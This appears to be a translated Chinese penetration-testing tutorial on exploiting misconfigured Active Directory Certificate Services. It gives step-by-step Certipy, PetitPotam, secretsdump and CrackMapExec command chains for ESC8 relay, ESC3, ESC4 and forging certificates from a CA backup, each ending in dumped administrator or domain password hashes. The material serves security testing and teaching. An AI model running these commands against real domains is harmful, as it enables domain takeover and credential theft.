前言:
Active Directory Certificate Services (ADCS) 是一个服务器角色,允许公司构建公钥基础设施。这使得组织能够为内部域提供公钥加密、数字证书和数字签名的功能。
虽然使用 ADCS 可以为公司的网络提供有价值的功能,但配置不正确的 ADCS 服务器可能会使攻击者获得对域的额外未经授权的访问权限。本文概述了我们在实际场景中发现的针对易受攻击的 ADCS 配置的利用技术。
工具使用:
Certipy:一个用于利用多个 ADCS 配置错误的强大工具。
PetitPotam:一种将 Windows 主机强制进行身份验证的工具。
Secretsdump(Impacket 中的一个 Python 脚本):使用 pass-the-hash 等方法转储 SAM 和 LSA 密钥的工具。它还可以用于从域控制器转储域中的所有密码哈希。
CrackMapExec:一个多功能工具,可以在向更多系统访问时在网络上喷洒凭据时,可以转储用户凭据。
EXPLOIT 1: ADCS WEB ENROLLMENT
如果 ADCS 证书颁发机构启用了 Web Enrollment,攻击者可以对证书颁发机构执行中继攻击,从而可能在域中提升权限。我们可以使用 Certipy 的 find 命令来查找 ADCS 证书颁发机构服务器。请注意,攻击者需要访问该域,但只需要一个简单的经过身份验证的用户的凭据即可执行攻击。
certipy find -dc-ip {DC IP Address} -u {User} -p {Password}
1、使用 Certipy 查找 ADCS 证书颁发机构服务器
首先,在我的环境中设置 ADCS 时,我设置证书颁发机构。Certipy 的 find 命令还有一个漏洞标志,只会显示 ADCS 中的配置错误。
certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
2、使用 Certipy 的漏洞
文本文件输出列出了 Certipy 发现的配置错误。在设置实验室环境时,我勾选了 Web Enrollment 的选项。在这里,我们可以看到默认配置容易受到 ESC8 攻击的漏洞:
3.Web Enrollment 漏洞
为了利用此漏洞,我们可以使用 Certipy 将传入连接中继到 CA 服务器。在成功中继后,我们将获得传递机器或用户帐户的证书。但真正使这成为一个强大的攻击的是,我们可以传递域控制器的机器帐户,从而完全访问该域。使用 PetitPotam,我们可以继续攻击,并轻松强制域控制器对我们进行身份验证。
第一步是设置 Certipy 将传入连接中继到易受攻击的证书颁发机构。由于我们计划中继域控制器的连接,因此需要指定域控制器模板。
certipy relay -ca {Certificate Authority IP Address} -template DomainController
4、使用 Certipy 将传入连接中继
在一次测试期间,我发现该组织已更改了默认的证书模板。他们用另一个模板替换了 DomainController 模板。因此,尽管我可以成功地强制域控制器进行身份验证,但在尝试获取 DomainController 证书时会收到错误。在我不愿承认的时间内,我使用 certipy 检查了启用的模板,并发现 DomainController 不是其中之一。我所要做的就是将模板名称更改为与他们的自定义模板名称匹配。太长了不想读:如果获取 DomainController 证书出错,请检查模板。
现在,Certipy 已设置好中继连接,我们使用 PetitPotam 强制域控制器对我们进行身份验证。
python3 PetitPotam.py -u {Username} -p {Password} {Listener IP Address} {Target IP Address}
5、使用 PetitPotam 强制身份验证
在 Certipy 接收到连接后,它将中继连接并获取域控制器机器帐户的证书。
6、成功的中继攻击
然后,我们可以使用 Certipy 用证书进行身份验证,从而访问域控制器的机器帐户哈希。
certipy auth -username {Username} -domain {Domain} -dc-ip {DC IP Adress} -pfx {Certificate}
7、获取机器哈希
然后,我们可以使用此哈希值与 impacket 库的 Secretsdump 一起转储所有用户哈希。我们还可以使用该哈希值与其他工具(如 CrackMapExec(CME)和 smbclient)一起使用。基本上,任何允许我们使用用户名和哈希值登录的工具都可以使用。在这里,我们使用 Secretsdump。
impacket-secretsdump {Domain/Username@IP Address} -hashes {Hash}
8、转储域
此时,我们完全可以访问 Windows 域。
2024 年 1 月 23 日更新:我见过不监听标准的端口 80 的 Web Enrollment,而这是 certipy 的默认设置。我尝试在只监听 HTTPS 的 Web Enrollment 上使用 certipy,遇到了一些奇怪的问题。我发现 NTLMRelay 在这种情况下似乎工作得更好,所以我写了一篇新文章详细介绍了该攻击。
EXPLOIT 2: ESC3
为了测试 Certipy 将识别和利用的其他配置错误,我开始在域中添加新的证书模板。在配置新模板时,我勾选了请求中的供应选项,弹出了一个关于可能问题的警告框。
1、新证书的警告
考虑到我想利用可能的配置错误,我很高兴看到它。
注意:如果您正在自己的环境中进行测试,一旦创建模板,您将需要配置 CA 来实际提供该模板。
创建和配置新证书模板后,我们使用 Certipy 使用与启动之前攻击时相同的命令来枚举易受攻击的模板。Certipy 识别出新模板易受 ESC3 攻击的问题。
certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
2、易受攻击的模板
利用此问题可以使攻击者从普通域用户的权限提升为域管理员。获得域管理员权限的第一步是基于易受攻击的模板请求一个新证书。我们将需要以标准用户的身份访问域。
certipy req -dc-ip {DC IP Address} -u {Username} -p {Password} -target-ip {CA IP Address} -ca {CA Server Name} -template {Vulnerable Template Name}
3、获取新证书
获得新证书后,我们可以使用 Certipy 再次请求另一个证书,这次是管理员帐户的用户证书。
certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA IP Address} -template User -on-behalf-of {Domain\Username} -pfx {Saved Certificate}
4、获取管理员证书
使用管理员用户的证书,我们可以使用 Certipy 进行身份验证,从而访问管理员的密码哈希值。
certipy auth -pfx {Saved Administrator Certificate} -dc-ip {DC IP Address}
5、使用 CME 进行哈希喷洒
此时,我们作为域的管理员帐户完全可以访问该域。使用之前学到的像 CME 这样的工具,我们可以完全控制该域。
crackmapexec smb {Target IP Address} -u {Username} -H {Password Hash}
从此点开始,我们可以使用 Secretsdump 实用程序从域中收集用户密码哈希,如先前所示。
EXPLOIT 3: ESC4
可能发生的另一个易受攻击的配置错误是用户对证书模板具有太多控制权。首先,在我的测试网络上配置一个证书,使用户对模板拥有完全控制权。
用户对模板具有完全控制权
现在,我们使用 Certipy 使用与之前的攻击中使用的相同命令来显示易受攻击的模板。
certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
易受攻击的模板
我们可以使用 Certipy 修改证书,使其易受 ESC1 攻击,允许用户提供任意的主题备用名称。
第一步是修改易受攻击的模板,使其易受另一个配置错误的影响。
certipy template -u {Username} -p {Password} -template {Vulnerable Template Name} -save-old target-ip {CA Server IP Address}
更改模板
请注意,我们可以使用 save-old 标志保存旧配置。这样可以在攻击后恢复模板。
修改模板后,我们可以请求一个新的证书,指定该证书是为管理员帐户准备的。在指定新帐户时,请使用 account@domain 格式。
certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA Server IP Address} -template {Template Name} -upn {Target Username@Domain} -dc-ip {DC IP Address}
请求新证书
在进一步操作之前,最好恢复证书模板。
certipy template -u {Username} -p {Password} -template {Template Name} -configuration {Saved Template Setting File} -dc-ip {DC IP Address}
恢复模板
然后,我们可以使用该哈希值与之前学到的 impacket 库的 Secretsdump 一起转储域中的所有用户哈希。
certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
EXPLOIT 4: ADMIN CONTROL OVER CA SERVER
另一种提升域权限的方法是如果我们对 CA 服务器具有管理员访问权限。在示例实验室中,我只是使用了一个域管理员帐户,但在实际的项目中,可以通过多种方式获得此访问权限。
如果我们对 CA 服务器具有管理员访问权限,我们可以使用证书备份所有内容,包括私钥和证书。
certipy ca -backup -ca {CA Server Name} -u {Username} -p {Password} -dc-ip {DC IP Address}
在备份了 CA 服务器之后,我们可以使用 Certipy 为管理员帐户伪造一个新的证书。在实际的项目中,域信息需要进行更改。
certipy forge -ca-pfx {Name of Backup Certificate} -upn {Username@Domain} -subject 'CN=Administrator,CN=Users,DC={Domain Name},DC={Domain Top Level}'
在伪造了证书之后,我们可以使用它进行身份验证,从而获得用户的 NTLM 密码哈希,并再次获得访问权限。
certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
Ref:
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
-
-
-
-
-